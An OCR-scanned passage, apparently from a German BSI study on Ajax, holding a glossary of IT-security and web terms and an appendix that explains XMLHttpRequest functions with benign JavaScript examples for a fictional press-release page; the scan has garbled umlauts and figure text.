werden so iiber die Anderung informiert und kénnen das Ergebnis vorlesen. Entsprechend ist so
jede Ausgabe bzw. Veridnderung einer Webseite zu iiberarbeiten und anzupassen, dass Benutzer mit
Screenreader iiber die Verdanderung der Seite informiert werden [Gibs06].

Da sich die Screenreader mit unterschiedlichen Browsern (Internet Explorer, Mozilla Firefox) an-
ders verhalten, muss auch dies entsprechend berticksichtigt werden.
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6.3.1 Fazit

Inzwischen gibt es mehrere Losungsvorschlédge fiir einzelne Problemstellungen. Das Dojo-Toolkit
(sieche Abschnitt 6.2) beispielsweise verdffentlichte mehrere Codebeispiele’, um deren Framework
auch mit assistiven Technologien einsetzen zu konnen. Zwar ist es so moglich, verschiedene Szena-
rien fiir eine bestimmte Version eines bestimmten Screenreaders anzupassen, eine generelle Lo-
sung, die mit allen Produkten kompatibel ist, kann derzeit aber nicht realisiert werden.

Bevor es also XHR-fahige assistive Technologien gibt, miissen entweder fiir die unterschiedlichen
Browser und Screenreader individuelle Losungen geschaffen oder Alternativen zu XHR verwendet
werden.

7 http://manual.dojotoolkit.org/WikiHome/DojoDotBook/Book90
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7 Glossar

ActiveX [engl.]

Software-Komponenten, die in verschiedenen Programmiersprachen fiir den Einsatz unter Mi-
crosoft Windows verwendet werden konnen. In Browsern fiihrt ihr Einsatz sehr oft zu Sicherheits-
problemen.

Administrator

Ein Administrator verwaltet und betreut Rechner sowie Computer-Netze. Er installiert Betriebssys-
teme und Anwendungsprogramme, richtet neue Benutzer-Kennungen ein und verteilt die fiir die Ar-
beit notwendigen Rechte. Dabei hat er im Allgemeinen weitreichende oder sogar uneingeschréinkte
Zugriffsrechte auf die betreuten Rechner oder Netze.

Angriff (engl. attack)

Ein Angriff ist eine vorsdtzliche Form der Gefdhrdung, ndmlich eine unerwiinschte oder unberech-
tigte Handlung mit dem Ziel, sich Vorteile zu verschaffen bzw. einen Dritten zu schidigen. Angrei-
fer konnen auch im Auftrag von Dritten handeln, die sich Vorteile verschaffen wollen.

Applet [engl.]

Applets sind kleine Module, die in Java programmiert sind und in HTML-Seiten eingebunden wer-
den konnen. Das Programm wird ausgefiihrt, wenn der Browser java-fahig ist. Da die Java Virtual
Machine nicht in allen Browsern integriert ist, muss sie fiir das Laufen von Applets erst installiert
werden. Das Ausfiihren von Applets bringt nicht unerhebliche Sicherheitsrisiken mit sich.

Attribut

Befehle in Programmiersprachen konnen durch Attribute ndher bestimmt werden. Durch Wertanga-
ben werden wiederum die Attribute genauer definiert. Der IMAGE-Tag kann z. B. durch das ALT-
Attribut ergénzt werden, das eine Beschreibung des Bildes (=Wert) liefert.

Auszeichnungssprache (engl. markup language)

Auszeichnungssprachen sind eine Kategorie von Programmiersprachen, wie z. B. HTML oder
XML. Diese Auszeichnungssprachen basieren auf der in der ISO-Norm 8879 festgelegten SGML
(Standard Generalized Markup Language) und dienen der logischen Beschreibung von Inhalten,
zum Datenaustausch oder zur Definition weiterer Auszeichnungssprachen.

Authentifizierung (engl. authentication)

Unter einer Authentifizierung versteht man die Priifung einer Authentisierung, d. h. die Uberprii-
fung, dass ein Kommunikationspartner tatsdchlich derjenige ist, der er vorgibt zu sein. Dies kann
unter Anderem durch Passwort-Eingabe, Chipkarte oder Biometrie erfolgen.

Authentisierung (engl. authentication)

Unter einer Authentisierung versteht man die Vorlage eines Nachweises eines Kommunikations-
partners, dass er tatsdchlich derjenige ist, der er vorgibt zu sein.
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Barrierefreiheit (engl. accessibility)

Barrierefreiheit umfasst fiir jeden Menschen Begehbares, Nutzbares und Erreichbares. Der Begriff
wird im Bereich Bauen und Verkehr sowie in der Informationstechnik verwendet. In der Informati-
onstechnik bezieht sich Barrierefreiheit auf die Zuginglichkeit von Webseiten fiir alle Nutzer. Auf
Barrieren stoBen Menschen, die z. B. im Sehen, im Horen, in der Feinmotorik oder im kognitiven
Bereich eingeschrénkt sind.

Bedrohung (engl. threat)

Eine Bedrohung ist ganz allgemein ein Umstand oder Ereignis, durch das ein Schaden entstehen
kann. Der Schaden bezieht sich dabei auf einen konkreten Wert wie Vermdgen, Wissen, Gegenstin-
de oder Gesundheit. Ubertragen in die Welt der Informationstechnik ist eine Bedrohung ein Um-
stand oder Ereignis, das die Verfiigbarkeit, Integritit oder Vertraulichkeit von Informationen bedro-
hen kann, wodurch dem Besitzer der Informationen ein Schaden entsteht.

Betriebssystem

Das Betriebssystem ist ein Steuerungsprogramm, das es dem Benutzer ermoglicht, seine Dateien zu
verwalten, angeschlossene Geréte (z. B. Drucker, Festplatte) zu kontrollieren oder Programme zu
starten. Weit verbreitet sind z. B. Windows, Linux oder MacOS.

BitTorrent

Kollaboratives File-Sharing-Protokoll, das besonders fiir die schnelle Verteilung groer Dateien
eignet.

Browser

Mit Browser (von "to browse", auf deutsch: schmokern, bléattern, umherstreifen) wird Software zum
Zugriff auf das World Wide Web bezeichnet. Das Programm interpretiert die ankommenden Daten
und stellt sie als Text und Bild auf dem Bildschirm dar.

BSI (Bundesamt fiir Sicherheit in der Informationstechnik)

Bundesbehorde im Geschiftsbereich des Bundesministerium des Innern.

Client [engl.]

Als Client wird Soft- oder Hardware bezeichnet, die bestimmte Dienste von einem Server in An-
spruch nehmen kann. Héufig steht der Begriff Client fiir einen Arbeitsplatzrechner, der in einem
Netz auf Daten und Programme eines Servers zugreift.

Content [engl.]

Bezeichnet den Inhalt einer Webseite. Content sind Beitrdge, Informationen etc., die iiber das Web
abgerufen werden konnen.

CSS (Cascading Style Sheets Language [engl.])
Empfehlung des W3C zur Beschreibung der Layout-Eigenschaften von Web-Seiten.
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DDoS (Distributed Denial of Service [engl.])

Ein koordinierter DoS Angriff auf die Verfligbarkeit von Rechnern mittels einer gré8eren Anzahl
von angreifenden Systemen.

E-Government

Unter "Electronic Government" verstehen wir die Nutzung elektronischer Informations- und Kom-
munikationstechnik zur Einbeziehung des Kunden in das Handeln von Regierung und 6ffentlicher
Verwaltung.

Firewall [engl.]

Eine Firewall (besser mit Sicherheits-Gateway bezeichnet) ist ein System aus Soft- und Hardware
Komponenten, um IP-Netze sicher zu koppeln.

Flash [engl.]

Mit dem Programm Flash kdnnen interaktive Vektorgrafik, Animation und Présentation erstellt
werden. Fiir die Betrachtung der Filme ist ein kostenloses Plug-In erforderlich. Flash z&hlt zu den
Aktiven Inhalten.

Frame [engl.]

Eine Website kann aus mehreren HTML-Seiten, den Frames (Rahmen), bestehen. Frames konnen
von dlteren Textbrowsern und Screenreadern nicht interpretiert werden.

Framework [engl.]

Framework (engl. fiir Rahmenwerk, Fachwerk) ist ein Begriff aus der Software-Technik. Ein
Framework gibt eine Anwendungs-Architektur vor.

Gefahr

"Gefahr" wird oft als libergeordneter Begriff gesehen, wohingegen unter "Gefdhrdung" eine genau-
er beschriebene Gefahr (rdumlich und zeitlich nach Art, Grofe und Richtung bestimmt) verstanden
wird. Beispiel: Die Gefahr ist ein Datenverlust. Datenverlust kann unter anderem durch eine defekte
Festplatte oder einen Dieb entstehen, der die Festplatte stiehlt. Die Gefdhrdungen sind dann "defek-
ter Datentrager" und "Diebstahl von Datentridgern". Diese Unterscheidung wird aber in der Literatur
nicht durchgidngig gemacht und ist eher von akademischer Bedeutung, so dass es sinnvoll ist, "Ge-
fahr" und "Gefdhrdung" als gleichbedeutend aufzufassen.

Gefihrdung

Eine Gefahrdung ist eine Bedrohung, die konkret auf ein Objekt iiber eine Schwachstelle einwirkt.
Eine Bedrohung wird somit erst durch eine vorhandene Schwachstelle zur Gefdahrdung fiir ein Ob-
jekt. Sind beispielsweise Computer-Viren eine Bedrohung oder eine Gefdhrdung fiir Anwender, die
im Internet surfen? Nach der oben gegebenen Definition ldsst sich feststellen, dass alle Anwender
prinzipiell durch Computer-Viren im Internet bedroht sind. Der Anwender, der eine virenbefallene
Datei herunterlddt, wird von dem Computer-Virus gefahrdet, wenn sein Computer anfallig fiir die-
sen Typ Computer-Virus ist. Fiir Anwender mit einem wirksamen Schutzprogramm, einer Konfigu-
ration, die das Funktionieren des Computer-Virus verhindert, oder einem Betriebssystem, das den
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Virencode nicht ausfiihren kann, bedeutet das geladene Schadprogramm hingegen keine Geféhr-
dung.

Goolge Adsense

Google Adsense ist ein Dienst um Werbeanzeigen gegen Entgelt auf eigenen Webseiten zu platzie-
ren. Die Auswahl der Anzeigen ist inhaltsbezogen und wird automatisch durch Google erzeugt.

Hacking [engl.]

Hacking bezeichnet im Kontext von Informationssicherheit Angriffe, die darauf abzielen, vorhande-
ne Sicherheitsmechanismen zu iiberwinden, um in ein System IT-System einzudringen, seine
Schwichen offen zulegen und es gegebenenfalls - bei unethischem Hacking - zu iibernehmen.

HTML (Hypertext Markup Language [engl.])

Fiir Web-Seiten verwendete Auszeichnungssprache, die von allen Browsern verstanden wird.

HTTP (Hypertext Transfer Protocol [engl.])

Das Hypertext Transfer Protocol dient zur Ubertragung von Daten - meist Webseiten - zwischen ei-
nem HTTP-Server und einem HTTP-Client, also z. B. einem Browser. Die Daten werden tiber Uni-
form Resource Locators (URL) eindeutig bezeichnet. URLs werden meist in der Form
Protokoll://Rechner/Pfad/Datei angegeben. Protokoll steht dabei fiir Protokolle der Anwendungs-
schicht, Rechner fiir den Namen oder die Adresse des Servers und der Pfad der Datei gibt den ge-
nauen Ort der Datei auf dem Server an. Ein Beispiel fiir eine URL ist http://www.bsi.bund.de/facht-
hem/sinet/index.htm.

HTTPS (HTTP secure [engl.])

Protokoll zur sicheren Ubertragung von HTML-Seiten im Internet. SSL/TLS dient dabei zur Absi-
cherung der Client-Server-Kommunikation.

ID (Identifikations-Nummer)

Die ID ist ein eindeutiger Name fiir ein Element. Bei CSS ist die ID wichtig, um zentrale Individu-
alformate zu definieren.

IP (Internet Protocol [engl.])

Verbindungsloses Protokoll entsprechend der Schicht 3 des ISO/OSI-Modells. Ein IP-Header ent-
hélt in der Version IPv4 u. a. zwei 32-Bit Nummern (IP-Adressen) fiir Ziel und Quelle der kommu-
nizierenden Rechner.

Java

Java ist eine Programmiersprache. Haufig wird Java in Form von Java-Applets auf Web-Seiten ge-
nutzt. Damit Java-Programme funktionieren, muss auf dem betreffenden Rechner oder im Browser
das "Java Runtime Environment" (JRE) installiert sein. Java zihlt zu den Aktiven Inhalten.

JavaScript [engl.]
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JavaScript ist eine Programmiersprache, die oft auf Webseiten eingesetzt wird. Mit ihr ist es z. B.
mdglich, Pop-Up-Fenster zu 6ffnen, Berechnungen durchzufiihren oder Formulareingaben zu {iber-
priifen. JavaScript ist Bestandteil aller neuen Browser. JavaScript zihlt zu den Aktiven Inhalten.

Lesezeichen (engl. bookmark)

Lesezeichen werden genutzt, um die Web-Adresse einer favorisierten Web-Seite zu speichern. Uber
das Auswahlmenii kann die Seite schnell aufgerufen werden, ohne dass die Adresse wieder eingege-
ben werden muss.

MIME (Multipurpose Internet Mail Extensions [engl.])

Protokoll fiir die E-Mail-Kommunikation als Erweiterung zu SMTP. MIME erméglicht die Ubertra-
gung von binédren Dateien in E-Mails.

Passwort

Geheimes Kennwort, das Daten, Rechner, Programme u. a. vor unerlaubtem Zugriff schiitzt.

Phishing [engl.]

Versuch von Betriigern, IT-Anwender irrezufithren und zur Herausgabe von Authentisierungsmit-
teln zu bewegen. Dies wird in den meisten Féllen bei Online-Banking-Verfahren eingesetzt.

Protokoll

Beschreibung (Spezifikation) des Datenformats fiir die Kommunikation zwischen elektronischen
Geriten.

Proxy [engl.]

Ein Proxy ist eine Art Stellvertreter in Netzen. Er nimmt Daten von einer Seite an und leitet sie an
eine andere Stelle im Netz weiter. Mittels eines Proxys lassen sich Datenstrome filtern und gezielt
weiterleiten.

RFC (Request for Comments [engl.])

In Request for Comments werden wichtige Internet-Standards festgelegt. RFCs konnen bei der In-
ternet Engineering Task Force (IETF) eingereicht werden, die die Entscheidung trifft, ob der Vor-
schlag zum Standard erhoben wird. RFCs werden nummeriert und nicht mehr veréndert. Sollen be-
stehende RFCs verdndert oder erweitert werden, so geschieht dies, indem ein neuer RFC mit einer
neuen Nummer und mit den entsprechenden Neuerungen geschaffen wird.

Risiko (engl. risk)

Risiko ist die hiufig auf Berechnungen beruhende Vorhersage eines moglichen Schadens im negati-
ven Fall (Gefahr) oder eines moglichen Nutzens im positiven Fall (Chance). Was als Schaden oder
Nutzen aufgefasst wird, hingt von Wertvorstellungen ab. Risiko wird auch hiufig definiert als die
Kombination aus der Wahrscheinlichkeit, mit der ein Schaden auftritt, und dem Ausmal} dieses
Schadens.
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Schwachstelle (engl. vulnerability)

Eine Schwachstelle ist ein sicherheitsrelevanter Fehler eines IT-Systems oder einer Institution. Ur-
sachen konnen in der Konzeption, den verwendeten Algorithmen, der Implementation, der Konfigu-
ration, dem Betrieb sowie der Organisation liegen. Eine Schwachstelle kann dazu fiihren, dass eine
Bedrohung wirksam wird und eine Institution oder ein System geschadigt wird. Durch eine
Schwachstelle wird ein Objekt (eine Institution oder ein System) anfillig fiir Bedrohungen.

Screenreader [engl.]

Screenreader sind Bildschirmleseprogramme, die den gesamten Bildschirminhalt interpretieren und
die Informationen an eine Braillezeile und/oder Sprachausgabe {ibertragen.

Server [engl.]

Als Server wird Soft- oder Hardware bezeichnet, die bestimmte Dienste anderen (Clients) anbietet.
Typischerweise wird damit ein Rechner bezeichnet, der seine Hardware- und Software-Ressourcen
in einem Netz anderen Rechnern zugénglich macht. Beispiele sind Applikations-, Daten-, Web-
oder Mailserver. Zu haufiger Verwirrung fithren X-Server, da ein X-Server-Prozess typischerweise
auf einem Arbeitsplatzrechner, also einem Client in einem Server-Client-Netz, lauft.

Sicherheits-Gateway

Ein Sicherheits-Gateway (oft auch Firewall genannt) ist ein System aus Soft- und Hardware-Kom-
ponenten. Es gewéhrleistet die sichere Kopplung von IP-Netzen durch Einschrankung der technisch
moglichen auf die in einer IT-Sicherheitsrichtlinie ordnungsgemaf definierten Kommunikation. Si-
cherheit bei der Netzkopplung bedeutet hierbei im Wesentlichen, dass ausschlieBlich erwiinschte
Zugriffe oder Datenstrome zwischen verschiedenen Netzen zugelassen und die iibertragenen Daten
kontrolliert werden.

SicherheitsmafSnahme (engl. saveguard control)

Mit Sicherheitsmafinahme werden alle Aktionen bezeichnet, die dazu dienen, Sicherheitsrisiken zu
steuern und entgegenzuwirken. Dies schlieBt sowohl organisatorische, als auch personelle, techni-

sche oder infrastrukturelle SicherheitsmaBnahmen ein. Synonym werden auch die Begriffe Sicher-
heitsvorkehrung oder SchutzmafBnahme benutzt.

Skript

Quelltextdatei eines Programmes in Skriptsprache. Skriptsprachen werden gewohnlich fur kleine,
iiberschaubare Programmieraufgaben verwendet. Skripte benétigen vor der Ausfiihrung keine Uber-
setzung in Maschinensprache.

Spoofing [engl.]

Spoofing (zu deutsch: Manipulation, Verschleierung oder Vortduschung) nennt man in der Informa-
tionstechnik verschiedene Tduschungsversuche zur Verschleierung der eigenen Identitdt und zum
Félschen iibertragener Daten. Das Ziel besteht darin, die Integritit und Authentizitit der Informati-
onsverarbeitung zu untergraben.

SSL (Secure Sockets Layer [engl.])
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Protokoll zur sicheren Kommunikation iiber das Internet, insbesondere zwischen Client und Server,
basiert auf dem Verschliisselungsalgorithmus RSA.

Tag [engl.]

Als Tag wird im Rahmen einer Auszeichnungssprache eine Bereichsmarkierung bezeichnet, die Be-
ginn und Ende eines Dokumentabschnitts kennzeichnet und diesem eine Bedeutung zuweist.

Tooltip [engl.]

Kleines Fenster, das Informationen in Kurzform anzeigt. Es wird oft in Software, z. B. in Browsern,
verwendet und erscheint, wenn der Mauszeiger eine gewisse Zeit iiber einem Element (z. B. einem
Bild) verbleibt.

Uberweisung

Eine Uberweisung ist die Ubertragung eines Geldbetrags in der Form von Buchgeld vom Konto des
Zahlungspflichtigen auf das Konto des Zahlungsempfingers. Sie wird durch einen Auftrag des Zah-
lungspflichtigen ausgeldst.

URL (Uniform Resource Locator [engl.])

Adressierungsschema fiir Dokumente und sonstige Dateien im Internet, bestehend aus Protokoll
und Adresse.

Validierung

Wenn einem XML-Dokument eine DTD oder ein XML-Schema zugeordnet ist, kann ein XML-Par-
ser eine Validierung durchfiihren, die priift, ob das Dokument dem darin festgelegten Vokabular
und der Grammatik und den geforderten Datentypen entspricht und die in der XML-Spezifikation
festgelegten Regeln einhilt. Ist das der Fall, handelt es sich um ein giiltiges XML-Dokument.

Verfiigbarkeit

Die Verfiigbarkeit von Dienstleistungen, Funktionen eines IT-Systems, IT-Anwendungen oder IT-
Netzen oder auch von Informationen ist vorhanden, wenn diese den Benutzern stets wie gewiinscht
zur Verfiigung stehen. Verfiigbarkeit ist ein Grundwert der IT-Sicherheit.

Verschliisselung

Verschliisselung (Chiffrieren) transformiert einen Klartext in Abhangigkeit von einer Zusatzinfor-
mation, die "Schliissel" genannt wird, in einen zugehorigen Geheimtext (Chiffrat), der fiir diejeni-
gen, die den Schliissel nicht kennen, nicht entzifferbar sein soll. Die Umkehrtransformation - die
Zuriickgewinnung des Klartexts aus dem Geheimtext - wird Entschliisselung genannt.

W3C (World Wide Web Consortium [engl.])

Herstellerneutrales Konsortium zur Forderung der Fortentwicklung des WWW, das allgemeine
Standards fiir das WWW diskutiert und definiert.

Wert (engl. asset)
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Werte sind alles, was wichtig fiir eine Institution ist (Vermogen, Wissen, Gegenstinde,
Gesundheit).

Wurm

Selbststindiges, sich selbst reproduzierendes Programm, das sich in einem System (vor allem in
Netzen) ausbreitet.

WYSIWYG (What You See Is What You Get [engl.])

Das Kiirzel WYSIWYG steht also etwa fiir: "Das Ergebnis sieht so aus wie das, was Sie gerade se-
hen." Urspriinglich machten vor allem Textprogramme mit diesem Schlagwort Werbung.
WYSIWYG ist ein Wort flir Programme, bei denen das Druckbild einer Datei ihrer Darstellung auf
dem Bildschirm (weitgehend) entspricht.

XHR (XMLHttpRequest [engl.])

XHR ist eine API zum Transfer von beliebigen Daten iiber das Protokoll HTTP. Es gehort zu den
aktiven Inhalten und ist Grundbestandteil der Ajax-Technik. XHR ermdglicht beispielsweise einem
Skript einer Website, Daten dynamisch vom Webserver abzurufen, ohne die Seite neu zu laden

XML (Extensible Markup Language [engl.])

Eine Erweiterung der fiir die Entwicklung von Web-Seiten standardisierten Programmiersprache
HTML. Daten konnen hierin nach vom Programmierer frei zu definierenden Regeln sehr flexibel in
bestimmten Formaten dargestellt und so z. B. als Input fiir eine weiterverarbeitende Software ge-
nutzt werden.

XSS (Cross-Site Scripting [engl.])

Ausnutzen einer Sicherheitsliicke, indem Informationen aus einem Kontext, in dem sie nicht ver-
trauenswiirdig sind, in einen anderen Kontext eingefiigt werden, in dem sie als vertrauenswiirdig
eingestuft werden.

Zertifikat

Der Begriff Zertifikat wird in der Informationssicherheit in verschiedenen Bereichen mit unter-
schiedlichen Bedeutungen verwendet. Zu unterscheiden sind vor allem das IT-Grundschutz-Zertifi-
kat, Schliisselzertifikate, IT-Sicherheitszertifikate und CC-Zertifikate.

Zugriff

Mit Zugriff wird die Nutzung von Informationen bzw. Daten bezeichnet. Uber Zugriffs-
berechtigungen wird geregelt, welche Personen im Rahmen ihrer Funktionen oder welche IT-An-
wendungen bevollméchtigt sind, Informationen, Daten oder auch IT-Anwendungen zu nutzen oder
Transaktionen auszufiihren.
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10 Anhang A

Wie bereits im Kapitel 4 (Seite 17) beschrieben, wird Ajax fiir den Austausch von Daten verwendet.
Fiir die Verarbeitung und Darstellung der empfangenen Daten wird Ajax mit JavaScript bzw. DHT-
ML verwendet. Diese Aktiven Inhalte werden client-seitig am Browser ausgefiihrt (siche Abbildung
10.1).
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Abbildung 10.1: Unterscheidung DHTML und Ajax (vgl. [Shre06], Abbildung 1).

Das XMLHttpRequest-Objekt (kurz XHR genannt), das Kernstiick von Ajax, wurde im April 2004
durch das W3C erstmals standardisiert. Im Internet Explorer Version 5.0 und 6.0 muss das XHR-
Objekt noch als ActiveX-Komponente unter den Namen Msxm{2. XMLHTTP installiert werden. Ab
Internet Explorer Version 7.0 sowie allen anderen gangigen Browsern (Mozilla Firefox, Opera,
Apple Safari, Netscape, Konqueror etc.) ist das XHR-Objekt vollstindig implementiert und ent-
spricht im Gegensatz zu anderen Web-Standards tatsdchlich dem W3C-Standard.

Angestoflen wird der Datenaustausch zum Beispiel durch die Interaktion des Benutzers, wie bei-
spielsweise durch das Offnen einer Seite, Bewegen der Maus, Driicken einer Taste oder Klicken auf
einen Link. Jede dieser Bewegungen 16st einen sogenannten Event aus, der client-seitig mit Ja-
vaScript erkannt und beliebig verarbeitet werden kann. Unabhidngig davon konnen auch HTML-
Elemente Events auslosen, wenn sie beispielsweise vollstindig geladen wurden, ein Timer abgelau-
fen ist oder, wie im Falle von Ajax, die Antwort des Servers vollstindig empfangen wurde.

In diesem Kapitel wird ein fiktives Beispiel zur Veranschaulichung verwendet. Auf der Pressemit-
teilungs-Seite des BSI sollen durch den Einsatz von Aktiven Inhalten, auf welche das BSI aus Si-
cherheitsgriinden bewusst verzichtet, immer die aktuellen Nachrichten erscheinen. Dieses Beispiel
kann, wie das BSI auf der tatsidchlichen Seite zeigt, ohne Einschrankungen auch vollig ohne Aktive
Inhalte realisiert werden.
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10.1 XMLHttpRequest

Ein Austausch von Nachrichten zwischen einem Browser und einem Webserver war bereits lange
Zeit vor Ajax moglich. Mit Hilfe einfacher HTML-Elemente und Aktiver Inhalte kdnnen Daten
ausgetauscht werden. Dies und bildet seit jeher die Grundlage fiir Cross-Site Scripting. Die Risiken
Aktiver Inhalte sowie von XMLHttpRequest wurden bereits erldutert. In diesem Abschnitt werden
hingegen die Funktionen und Attribute (siche Abbildung 10.2) des XHR-Objekts im Vergleich zu
DHTML analysiert.

readyState Funktionen / Attribute Beschreibung
new XMLHttpRequest () Erstellen eines neuen Objektes
0 abort () Aktuellen Vorgang abbrechen
onreadystatechange = func Bei Statuswechsel Funktion aufrufen
’ open ( method, url, async) Anfrage konfigurieren
setRequestHeader ( name, wert) |Header konfigurieren
2 send ( data ) Anfrage absenden
getResponseHeader ( hame) Header der Server-Antwort abfragen
-4 getAllResponseHeaders () Alle Header der Server-Antwort
status Statuscode der Server-Antwort
statusText Statustext der Server-Antwort
34 responseText Inhalt der Server-Antwort
response XML XML Zugriff der Server-Antwort

Abbildung 10.2: Funktionen und Attribute des XMLHttpRequest-Objekts nach W3C Standard [W3CO07].

Als Beispiel fiir folgende Abschnitte wird eine fiktive Pressemitteilungsseite verwendet, die es er-
laubt, stets die aktuellen Nachrichten darzustellen, ohne die Seite neu laden zu miissen.

10.1.1 Exkurs: Funktionsweise DHTML

Inline Frames (IFrames) und Popups sind HTML-Elemente, die es erlauben, andere Seiten zu 6ft-
nen, ohne dabei die aktuelle Webseite zu verlassen bzw. neu zu laden. Sie bilden somit die grundle-
genden Strukturen fiir den Austausch von Daten ohne Ajax.

Mit Hilfe des Document Object Models (DOM) (sieche Abschnitt 4.2, Seite 20) kdnnen nicht nur
[Frame-Elemente selektiert werden, sondern auch deren Inhalte. Der Zugriff erfolgt dabei wie ge-
wohnt {iber die logische Baumstruktur (sieche Abbildung 10.3) und kann sowohl von oben nach un-
ten (von der Hauptseite auf das [Frame), als auch von unten nach oben (vom IFrame auf die Haupt-
seite) erfolgen. Auf die gleiche Weise konnen auch Popups und deren Inhalt selektiert werden. Da
diese aber nicht nur aus Programmierer-, sondern auch aus Sicherheitssicht erhebliche Nachteile
bieten, werden im weiteren Vergleich mit Ajax nur [Frames behandelt.
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Abbildung 10.3: DOM Struktur erlaubt Zugriff auf den Inhalt von IFrames.

Um nun tatsdchlich Daten auszutauschen, wird zuerst eine Seite mit gewiinschten Parametern (z. B.:
mitteilungen.html?thema=Sicherheit) an ein [Frame tibergeben. Anschlieend kann der Inhalt der
gedftneten Seite entweder von der Hauptseite aus verarbeitet (Abbildung 10.4, Fall 2a) oder aber
von der gedffneten Seite aus an die Hauptseite iibertragen werden (Fall 2b).

IFrame oder Popup

Anfrage o G ._.._
g b rn Barrialen fovche Chwoie  ararsizean Sdow -l

¥ EL O

BRI e s o e e

rsarer UL e s

Presse- -
mitteilungen

mitteilungen X

At

anscmrend bnine Sine e e lind

Letttadan Tur IT-Shcherhelt flr Unkemehmen

Abw 1z 1= za- Hedien Sher

Dynamisch generierte Seite

Abbildung 10.4: Méglichkeiten fiir den Austausch von Daten bei Verwendung von IFrames oder Popups.

Im ersten Fall muss vorher festgestellt werden, ob die Seite bereits vollstindig geladen wurde und
die richtigen Informationen enthélt. Im zweiten Fall befinden sich in der gedffneten Seite Aktive In-

halte (z. B. JavaScript), welche die Pressemitteilungen automatisch beim Laden an ein Element oder
eine Funktion der Hauptseite iibergeben.

Zum Aspekt der Sicherheit sei hier vorweggenommen, dass Zugriffe auf den Inhalt einer ge6ffneten
Seite grundsitzlich nur moglich sind, wenn sich diese innerhalb der gleichen Domain befindet.
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Wird die Hauptseite iiber www.bsi.bund.de aufgerufen und die Seite des IFrames befindet sich auf
www.news.de, ist ein Zugriff im Allgemeinen nicht mdglich (gilt entsprechend fiir beide Félle). Das
Offnen der Seite ist davon jedoch nicht betroffen — Daten kénnen vom Client problemlos an beliebi-
ge Seiten gesendet werden, lediglich der Inhalt der Antwort kann durch Aktive Inhalte client-seitig
nicht mehr gelesen bzw. verarbeitet werden. Diese Sicherheitsrichtlinie (Same-Origin Policy) ist je-
doch per Cross-Site Scripting (XSS) umgehbar.

10.1.2  ExKkurs: Pressemitteilungs-Beispiel

Das Aktualisieren der Nachrichten kann entweder vom Benutzer durch Klicken eines Buttons (,,Ak-
tualisieren®) oder automatisch in regelméfigen Abstdnden von einem JavaScript-Timer angestofen

werden. Aufgerufen wird dabei die Funktion refresh() (siche Abbildung 10.5), die in weiterer Folge
eine Seite mit den aktuellen Pressemitteilungen kontaktiert.

si=x  Klicken auf Button
2 oder

Li'e

alzndilzes 2 s clysjanin e bt

regelmaBig
durch Timer

D avdeear o 5 cherheit e ke Tiadenezeck -k Al igh resarved

Darstellen der
Pressemitteilunge

. handleResponse ()

Nachdem die Nachrichten vollstdndig iibermittelt sind, wird die Funktion handleResponse() aufge-
rufen, welche die empfangenen Daten aufbereitet und an entsprechender Stelle der Webseite dar-
stellt.

Nachfolgend werden nun simtliche Funktionen und Attribute des XHR-Objekts anhand dieses Bei-
spiels und der Ubersicht in Abbildung 10.2 auf Seite 73 erldutert.

Abbildung 10.5: JavaScript-Funktionen des Pressemitteilungs-Beispiels

10.1.3 new XMLHttpRequest

Mit dem XMLHttpRequest() Konstruktor kann ein neues XHR-Objekt erstellt werden. Dies ist die
einzige Funktion, die nicht bei allen Browsern mit XHR-Implementierung gleich zu verwenden ist.
Daher sollte vor der Erstellung eines neuen Objekts das Vorhandensein der jeweiligen Implementie-
rung (XMLHttpRequest bzw. das ActiveX-Objekt beim Internet Explorer 5.0 und 6.0) tiberpriift
werden.

var xhr;

try { xhr = new ActiveXObject ("Microsoft.XMLHTTP"); }
catch(e) {
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try { xhr = new ActiveXObject ("MSXML2.XMLHTTP"); }
catch(e) {

try { xhr = new XMLHttpRequest(); }
catch(e) {

// Ajax nicht implementiert

}

Sofern JavaScript und eines der beiden XHR-Objekte vorhanden sind, kann xAr anschlieBend ein-
heitlich und ohne Einschriankungen genutzt werden.

Realisierung mit DHTML:

In DHTML kann das Erstellen des XHR-Objekts mit dem Erstellen eines [Frames verglichen wer-
den. Sofern das gewiinschte IFrame nicht bereits statisch in der Seite definiert ist, kann es per Ja-
vaScript aktiv erstellt und an der bestehenden Struktur der Seite (DOM) angehéngt werden:

var body = document.getElementsByTagName ('body') [0];

var iframe = document.createElement ("iframe");

iframe.setAttribute("style", "display:none");

iframe.setAttribute ("id", "iframe");
body.appendChild (iframe) ;

Zuerst wird ein Element der aktuellen Seite gesucht (in diesem Fall das Body Tag <body>), an dass
das IFrame spéter angehéngt werden soll. Grundsétzlich konnen beliebige Elemente gewahlt wer-
den, ein Body Tag sollte aber auf jeden Fall vorhanden sein. Anschlieend wird das [Frame erzeugt
und mit Attributen versehen. Mit display:none wird das IFrame per CSS so definiert, dass der Besu-
cher der Seite das Element nicht sieht. Die ID 'iframe' wird gesetzt, um das Element spiter auf di-
rekte Weise selektieren zu kdnnen. AbschlieBend wird das eben erstellte [Frame noch an die beste-
hende DOM-Struktur angehéngt.

10.1.4 abort

Der aktuelle Vorgang des XHR-Objekts kann, sobald es einmal erstellt wurde, jederzeit durch
abort() abgebrochen werden.

xhr .abort () ;

Wenn Daten wie in dem vorliegenden Beispiel regelméBig in asynchroner Form® abgefragt werden,
ist es wichtig, den aktuellen Ladevorgang abzubrechen, bevor eine neue Anfrage gestellt wird. Da-
mit wird verhindert, dass eine eventuell dltere Anfrage die Nachrichten einer neueren iiberschreibt.
Bei Verwendung synchroner Abfragen kann dies grundséatzlich nicht passieren, abgebrochen wer-
den kann der Vorgang aber dennoch.

Realisierung mit DHTML.:

Mit DHTML kann ein aktueller Ladevorgang abgebrochen werden, indem das zustdndige [Frame
entweder geloscht (von der DOM Struktur getrennt) oder eine andere (z. B. leere) URL iibergeben
wird.

8 Vergleich asynchroner und synchroner Kommunikationsform siehe Funktion open() (Abschnitt 10.1.7).
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10.1.5 onreadystatechange

Dieses Attribut stellt einen Eventlistener dar, der eine beliebige Funktion aufruft, sobald sich der
Zustand (readyState) des XHR-Objekts verdndert. In dem vorliegenden Beispiel wird die Funktion
handleResponse() aufgerufen, die spéter die empfangenen Pressemitteilungen anzeigen wird.

xhr.onreadystatechange = handleResponse;

function handleResponse() {
// prifen ob neue Nachrichten empfangen wurden
// und gegebenenfalls darstellen

}

In der definierten Funktion handleResponse() kann iiberpriift werden, ob die Anfrage schon gesen-
det bzw. die Daten bereits vollstindig empfangen wurden und gegebenenfalls per DHTML in der
aktuellen Seite darstellen lassen.

Realisierung mit DHTML.:

